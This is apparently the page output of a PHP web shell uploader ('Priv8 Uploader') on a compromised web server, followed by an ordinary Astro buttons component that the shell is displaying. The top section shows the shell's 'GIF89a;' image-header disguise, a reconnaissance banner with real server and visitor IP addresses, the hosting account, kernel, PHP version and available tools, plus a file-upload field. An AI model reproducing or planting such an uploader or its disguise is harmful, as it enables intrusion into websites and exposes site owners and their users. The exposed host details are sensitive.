GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/components/ |
Upload File : |
---
/**
* Portable Text Buttons container component
*
* Renders a group of buttons from WordPress imports.
*/
import Button from "./Button.astro";
export interface Props {
node: {
_type: "buttons";
_key: string;
buttons: Array<{
_type: "button";
_key: string;
text: string;
url?: string;
style?: "default" | "outline" | "fill";
}>;
layout?: "horizontal" | "vertical";
};
}
const { node } = Astro.props;
const { buttons = [], layout = "horizontal" } = node ?? {};
---
<div class:list={["emdash-buttons", `emdash-buttons--${layout}`]}>
{buttons.map((button) => <Button node={button} />)}
</div>
<style>
.emdash-buttons {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
margin: 1.5rem 0;
}
.emdash-buttons--vertical {
flex-direction: column;
align-items: flex-start;
}
.emdash-buttons--horizontal {
flex-direction: row;
align-items: center;
}
</style>